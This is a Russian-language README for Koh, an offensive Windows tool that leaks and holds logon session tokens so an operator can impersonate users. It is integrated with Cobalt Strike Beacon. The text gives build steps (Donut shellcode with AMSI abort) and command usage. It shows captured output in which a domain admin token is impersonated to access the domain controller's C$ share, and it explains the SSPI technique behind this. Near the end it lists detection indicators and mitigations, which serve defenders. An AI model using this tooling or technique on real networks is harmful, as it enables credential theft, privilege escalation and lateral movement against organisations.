
Захватывает токены сеансов входа Windows через утечку токенов, обеспечивая повторное использование учетных данных и олицетворение, с интеграцией BOF Cobalt Strike для кражи токенов после эксплуатации.
Koh — это набор инструментов на C# и Beacon Object File (BOF), который позволяет захватывать учетные данные пользователей путем целенаправленной утечки токенов/сеансов входа.
Некоторый код был вдохновлен проектом Elad Shamir's Internal-Monologue (без лицензии), а также KB180548. О том, почему это возможно и о подходе Koh, см. раздел Техническое описание этого README.
Более подробное объяснение мотивов создания Koh и его подхода см. в статье Koh: The Token Stealer.
@harmj0y является основным автором этого кода. @tifkin_ помог с подходом, реализацией BOF и некоторыми механизмами токенов.
Koh распространяется под лицензией BSD 3-Clause.
«Сервер» Koh захватывает токены и использует именованные каналы для управления и связи. Он может быть обернут в Donut и внедрен в любой высокой целостности процесс SYSTEM (см. Ошибка Inline Shenanigans).
Мы не планируем выпускать бинарные файлы Koh, поэтому вам придется компилировать самостоятельно :)
Koh собран под .NET 4.7.2 и совместим с Visual Studio 2019 Community Edition. Просто откройте файл проекта .sln, выберите «Release» и соберите. Сборка Koh.exe и Donut-собранный PIC Koh.bin будут выведены в основную директорию. Блоб Donut совместим как с x86, так и с x64, и собирается с помощью следующих параметров с использованием версии 0.9.3 Donut из ./Misc/Donut.exe:
[ Instance type : Embedded [ Entropy : Random names + Encryption [ Compressed : Xpress Huffman [ File type : .NET EXE [ Parameters : capture [ Target CPU : x86+amd64 [ AMSI/WDLP : abort
Лицензия Donut — BSD 3-clause.
### Использование
`Koh.exe Koh.exe <list | monitor | capture> [GroupSID... GroupSID2 ...]`
* **list** - перечисляет (не сетевые) сеансы входа
* **monitor** - отслеживает новые/уникальные (не сетевые) сеансы входа
* **capture** - захватывает один уникальный токен на каждый найденный SID для новых (не сетевых) сеансов входа
Идентификаторы безопасности групп (SID) также можно указать в командной строке, что заставит Koh отслеживать/захватывать только те сеансы входа, которые содержат указанные SID групп в информации о согласованном токене.
### Пример — перечисление сеансов входа```
C:\Temp>Koh.exe list
__ ___ ______ __ __
| |/ / / __ \ | | | |
| ' / | | | | | |__| |
| < | | | | | __ |
| . \ | `--' | | | | |
|__|\__\ \______/ |__| |__|
v1.0.0
[*] Command: list
[*] Elevated to SYSTEM
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\testuser
LUID : 207990196
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1119
Origin LUID : 1677733 (0x1999a5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492692
LogonType : Interactive
AuthPackage : Negotiate
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492608
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\harmj0y
LUID : 1677733
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1104
Origin LUID : 999 (0x3e7)
Выводит только результаты, содержащие SID группы администраторов домена (-512) в информации о токене:``` C:\Temp>Koh.exe monitor S-1-5-21-937929760-3187473010-80948926-512
| |/ / / __ \ | | | | | ' / | | | | | || | | < | | | | | __ | | . \ | `--' | | | | | ||__\ __/ || || v1.0.0
[*] Command: monitor
[*] Starting server with named pipe: imposecost
[*] Elevated to SYSTEM
[*] Targeting group SIDs: S-1-5-21-937929760-3187473010-80948926-512
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492692 LogonType : Interactive AuthPackage : Negotiate User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492608 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\harmj0y LUID : 1677733 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1104 Origin LUID : 999 (0x3e7)
## Koh Client
Текущий используемый клиент — это Beacon Object File в `.\Clients\BOF\`. Загрузите скрипт агрессора `.\Clients\BOF\KohClient.cna` в ваш клиент Cobalt Strike, чтобы включить управление BOF сервером Koh. Единственное требование для использования захваченных токенов — **SeImpersonatePrivilege**. Именованный канал связи имеет DACL для "Everyone", но использует базовый общий пароль (супер безопасно).
Для компиляции свежей версии в Linux с помощью Mingw см. скрипт `.\Clients\BOF\build.sh`. Единственное требование (по крайней мере в Debian) — `apt-get install gcc-mingw-w64`.
### Использование```
beacon> help koh
koh list - lists captured tokens
koh groups LUID - lists the group SIDs for a captured token
koh filter list - lists the group SIDs used for capture filtering
koh filter add SID - adds a group SID for capture filtering
koh filter remove SID - removes a group SID from capture filtering
koh filter reset - resets the SID group capture filter
koh impersonate LUID - impersonates the captured token with the give LUID
koh release all - releases all captured tokens
koh release LUID - releases the captured token for the specified LUID
koh exit - signals the Koh server to exit
The koh filter add S-1-5-21-<DOMAIN>-<RID> command will only capture tokens that contain the supplied group SID. This command can be run multiple times to add additional SIDs for capture. This can help prevent possible stability issues due to a large number of token leaks.
"Captures" logon sessions by negotiating usable tokens for each new session.
Server:``` C:\Temp>Koh.exe capture
| |/ / / __ \ | | | | | ' / | | | | | || | | < | | | | | __ | | . \ | `--' | | | | | ||__\ __/ || || v1.0.0
[*] Command: capture
[*] Starting server with named pipe: imposecost
[*] Elevated to SYSTEM
[*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\testuser LUID : 207990196 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1119 Credential UserName : [email protected] Origin LUID : 1677733 (0x1999a5)
[*] Successfully negotiated a token for LUID 207990196 (hToken: 848)
[*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\DA LUID : 81492692 LogonType : Interactive AuthPackage : Negotiate User SID : S-1-5-21-937929760-3187473010-80948926-1145 Credential UserName : [email protected] Origin LUID : 1677765 (0x1999c5)
[*] Successfully negotiated a token for LUID 81492692 (hToken: 976)
[*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\harmj0y LUID : 1677733 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1104 Credential UserName : [email protected] Origin LUID : 999 (0x3e7)
[*] Successfully negotiated a token for LUID 1677733 (hToken: 980)
BOF клиент:```
beacon> shell dir \\dc.theshire.local\C$
[*] Tasked beacon to run: dir \\dc.theshire.local\C$
[+] host called home, sent: 69 bytes
[+] received output:
Access is denied.
beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes
[*] You are NT AUTHORITY\SYSTEM (admin)
beacon> koh list
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe : \\.\pipe\imposecost
[+] received output:
Username : THESHIRE\localadmin (S-1-5-21-937929760-3187473010-80948926-1000)
LUID : 67556826
CaptureTime : 6/21/2022 1:24:42 PM
LogonType : Interactive
AuthPackage : Negotiate
CredUserName : [email protected]
Origin LUID : 1676720
Username : THESHIRE\da (S-1-5-21-937929760-3187473010-80948926-1145)
LUID : 67568439
CaptureTime : 6/21/2022 1:24:50 PM
LogonType : Interactive
AuthPackage : Negotiate
CredUserName : [email protected]
Origin LUID : 1677765
Username : THESHIRE\harmj0y (S-1-5-21-937929760-3187473010-80948926-1104)
LUID : 1677733
CaptureTime : 6/21/2022 1:23:10 PM
LogonType : Interactive
AuthPackage : Kerberos
CredUserName : [email protected]
Origin LUID : 999
beacon> koh groups 67568439
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe : \\.\pipe\imposecost
[+] received output:
S-1-5-21-937929760-3187473010-80948926-513
S-1-5-21-937929760-3187473010-80948926-512
S-1-5-21-937929760-3187473010-80948926-525
S-1-5-21-937929760-3187473010-80948926-572
beacon> koh impersonate 67568439
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe : \\.\pipe\imposecost
[+] received output:
[*] Enabled SeImpersonatePrivilege
[+] received output:
[*] Creating impersonation named pipe: \\.\pipe\imposingcost
[+] received output:
[*] Impersonation succeeded. Duplicating token.
[+] received output:
[*] Impersonated token successfully duplicated.
[+] Impersonated THESHIRE\da
beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes
[*] You are THESHIRE\DA (admin)
beacon> shell dir \\dc.theshire.local\C$
[*] Tasked beacon to run: dir \\dc.theshire.local\C$
[+] host called home, sent: 69 bytes
[+] received output:
Volume in drive \\dc.theshire.local\C$ has no label.
Volume Serial Number is A4FF-7240
Directory of \\dc.theshire.local\C$
01/04/2021 11:43 AM <DIR> inetpub
05/30/2019 03:08 PM <DIR> PerfLogs
05/18/2022 01:27 PM <DIR> Program Files
04/15/2021 09:44 AM <DIR> Program Files (x86)
03/20/2020 12:28 PM <DIR> RBFG
10/20/2021 01:14 PM <DIR> Temp
05/23/2022 06:30 PM <DIR> tools
03/11/2022 04:10 PM <DIR> Users
06/21/2022 01:30 PM <DIR> Windows
0 File(s) 0 bytes
9 Dir(s) 40,504,201,216 bytes free
Когда на системе устанавливается новый сеанс входа, LSASS создает новый токен для этого сеанса с помощью вызова API NtCreateToken(), который возвращается вызывающему LsaLogonUser(). Это увеличивает поле ReferenceCount структуры сеанса входа в ядре. Когда ReferenceCount достигает 0, сеанс входа уничтожается. Из-за информации, описанной в разделе Почему это возможно, системы Windows НЕ будут освобождать сеанс входа, если на него все еще существует дескриптор токена (и, следовательно, счетчик ссылок != 0).
Таким образом, если мы можем получить дескриптор недавно созданного сеанса входа через токен, мы можем оставить этот сеанс входа открытым, а позднее выдать себя за этот токен, чтобы использовать любые кэшированные учетные данные, которые он содержит.
Согласно этому сообщению инженера Microsoft:``` After MS16-111, when security tokens are leaked, the logon sessions associated with those security tokens also remain on the system until all associated tokens are closed... even after the user has logged off the system. If the tokens associated with a given logon session are never released, then the system now also has a permanent logon session leak as well.
[MS16-111](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-111) был применен к Windows 7/Server 2008, поэтому этот подход должен быть эффективен для всех систем, кроме Server 2003.
## Подход
Перечисление сеансов входа в систему легко (из повышенного контекста) с помощью Win32 API [LsaEnumerateLogonSessions()](https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaenumeratelogonsessions). Что сложнее, так это взять конкретный идентификатор сеанса входа (LUID) и _каким-то образом_ получить используемый токен, связанный с этим сеансом.
### Возможные подходы
Мы провели мозговой штурм нескольких способов: a) удерживать открытые сеансы входа и b) злоупотреблять этим для олицетворения токенов/использования кэшированных учетных данных.
1. Первый подход заключался в использовании **NtCreateToken()**, который позволяет указать идентификатор сеанса входа (LUID) для создания нового токена.
* К сожалению, вам требуется **SeCreateTokenPrivilege**, который традиционно есть только у LSASS, то есть вам нужно украсть токен LSASS, что не идеально.
* Одна из возможностей заключалась в добавлении **SeCreateTokenPrivilege** к NT AUTHORITY\SYSTEM через модификацию политики LSA, но это потребовало бы перезагрузки/нового сеанса входа для применения новых прав пользователя.
2. Вы также можете сосредоточиться только на сеансах входа RemoteInteractive, используя **WTSQueryUserToken()** для получения токенов для клонирования новых сеансов рабочего стола.
* Этот подход, по-видимому, [продемонстрирован Райаном](https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/using-debugging-tools-to-find-token-and-session-leaks/ba-p/400472).
* К сожалению, это пропускает вновь созданные локальные сеансы и входящие сеансы, созданные с помощью таких средств, как PSEXEC.
3. При новом сеансе входа откройте дескриптор для каждого доступного процесса и перечислите все существующие дескрипторы, клонируя токен, связанный с новым сеансом входа.
* Это требует открытия множества процессов/дескрипторов, что выглядит очень подозрительно.
4. Подход **AcquireCredentialsHandle()**/**InitializeSecurityContext()**/**AcceptSecurityContext()**, описанный ниже, который мы и выбрали.
### Наш подход
Вызов SSPI [AcquireCredentialsHandle()](https://docs.microsoft.com/en-us/windows/win32/secauthn/acquirecredentialshandle--negotiate) имеет поле **pvLogonID**, которое указывает:```
A pointer to a locally unique identifier (LUID) that identifies the user. This parameter is provided for file-system processes such as network redirectors.
Примечание: Для использования LUID сеанса входа с AcquireCredentialsHandle() требуется привилегия SeTcbPrivilege, однако обычно её получить проще, чем SeCreateTokenPrivilege.
Использование этого вызова с указанием идентификатора сеанса входа/LUID, по-видимому, увеличивает счетчик ссылок (ReferenceCount) для структуры сеанса входа, предотвращая его освобождение. Однако возникает другая проблема: имея «утекший»/удерживаемый открытым сеанс входа, как получить из него используемый токен? WTSQueryUserToken() работает только с сеансами рабочего стола, и мы не нашли API пользовательского режима, которое позволяет преобразовать LUID в используемый токен.
Однако мы можем использовать две дополнительные функции SSPI: InitializeSecurityContext() и AcceptSecurityContext(), чтобы выступить в роли клиента и сервера для самих себя, согласовав новый контекст безопасности, который затем можно использовать с QuerySecurityContextToken() для получения рабочего токена. Это было описано в KB180548 (зеркало от PKISolutions здесь) для целей проверки учетных данных. Это похоже на подход Internal-Monologue, за исключением того, что мы выполняем весь процесс рукопожатия, создаем токен и удерживаем его для последующего использования.
Фильтрацию затем можно выполнять по самому токену с помощью CheckTokenMembership() или GetTokenInformation(). Например, мы можем освободить все токены, кроме тех, что принадлежат администраторам домена или определенным группам, которые мы хотим атаковать.
Я программирую уже достаточно долго. Это одна из самых странных и раздражающих ошибок, которые я встречал за последнее время — пожалуйста, помогите мне с ней, lol.
Когда сборка Koh.exe запускается из повышенного (но не SYSTEM) контекста, всё работает нормально.
Если сборка Koh.exe запускается через процесс fork&run Cobalt Strike Beacon с помощью execute-assembly из повышенного (но не SYSTEM) контекста, всё работает нормально.
Если сборка Koh.exe запускается инлайн (через InlineExecute-Assembly или Inject-Assembly) для Cobalt Strike Beacon, работающего в контексте SYSTEM, всё работает нормально.
Однако Если сборка Koh.exe запускается инлайн (через InlineExecute-Assembly или Inject-Assembly) для Cobalt Strike Beacon, работающего в повышенном, но не SYSTEM контексте, вызов AcquireCredentialsHandle() завершается ошибкой SEC_E_NO_CREDENTIALS, и всё ломается ¯\_(ツ)_/¯
Мы пробовали (безуспешно):
По всем признакам, контекст потока непосредственно перед вызовом AcquireCredentialsHandle работает в этом окружении, но результат завершается ошибкой. И мы понятия не имеем, почему.
Если у вас есть идеи, что это может быть, сообщите нам! И если вы хотите поиграть с более простой сборкой, посмотрите репозиторий AcquireCredentialsHandle на моём GitHub для отладки.
Цитируя @tifkin_ «Всё скрытно, пока кто-то это не ищет». Хотя подход Koh немного отличается от других, всё же существуют IOCs, которые можно использовать для его обнаружения.
Уникальный TypeLib GUID для сборки Koh на C# — 4d5350c8-7f8c-47cf-8cde-c752018af17e, как указано в правиле Yara Koh.yar в этом репозитории. Если его не изменить при компиляции, это должен быть очень точный индикатор работы сервера Koh.
При запуске сервер Koh открывает именованный канал \\.\pipe\imposecost, который остаётся открытым, пока работает Koh. Пароль по умолчанию для связи Koh — password, поэтому отправка password list на любой канал \\.\pipe\imposecost позволит подтвердить, запущен ли Koh. Используемый по умолчанию канал для олицетворения — \\.pipe\imposingcost.
Если Koh запускается в повышенном контексте, но не как SYSTEM, выполняется клонирование дескриптора/токена процесса winlogon для повышения привилегий типа getsystem.
Я уверен, что атакующие не изменят упомянутые выше индикаторы.
Вероятно, существуют некоторые артефакты RPC для захвата токенов, которые мы надеемся исследовать. Мы обновим этот раздел README, если найдём дополнительные артефакты обнаружения. Перехват некоторых, возможно, нечасто используемых API, применяемых Koh (LsaEnumerateLogonSessions или специфических AcquireCredentialsHandle/InitializeSecurityContext/AcceptSecurityContext, особенно с использованием LUID в AcquireCredentialsHandle) может быть исследован на эффективность, но увы, я не EDR.
После публикации статьи Koh: The Token Stealer у меня был отличный обмен мнениями между @cnotin и @SteveSyfuhs о том, что в итоге стало частичным смягчением этого подхода.
Патч KB2871997 ввёл параметр TokenLeakDetectDelaySecs, который запускает «...очистку любых учетных данных вышедших пользователей...». По умолчанию для членов «Группы защищенных пользователей» это поведение применяется независимо от настройки реестра. Однако установка этого параметра в ненулевое значение приведет к очистке ВСЕХ учетных данных из памяти при выходе пользователя из системы. В частности, как упоминает Steve: Если установлен, запускает таймер на событие *интерактивного* выхода из сеанса, и по срабатыванию очищает всё, что с ним связано. По умолчанию выключен. Для защищенных пользователей всегда включен, с задержкой по умолчанию 30 секунд.
В приведенном выше абзаце есть две важные вещи: «событие выхода» и «интерактивный». Это может привести к ситуациям, когда учетные данные пользователя НЕ очищаются:
runas или runas /netonly или что-то подобное, при остановке процесса не происходит события выхода, и учетные данные/токен всё равно могут быть захвачены.(Нужно протестировать другие ситуации входа, такие как NetworkClearText.)
Однако, если пользователь входит в «Группу защищенных пользователей» или TokenLeakDetectDelaySecs имеет ненулевое значение, и пользователь активно выходит из интерактивного или удаленного интерактивного (RDP) сеанса, учетные данные будут очищены. Мне нужно запрограммировать Koh для лучшей обработки таких специфических ситуаций.
TL;DR вам действительно следует использовать «Группу защищенных пользователей» для чувствительных учетных записей, и посмотреть, можно ли в вашей среде установить TokenLeakDetectDelaySecs в значение, например, 30.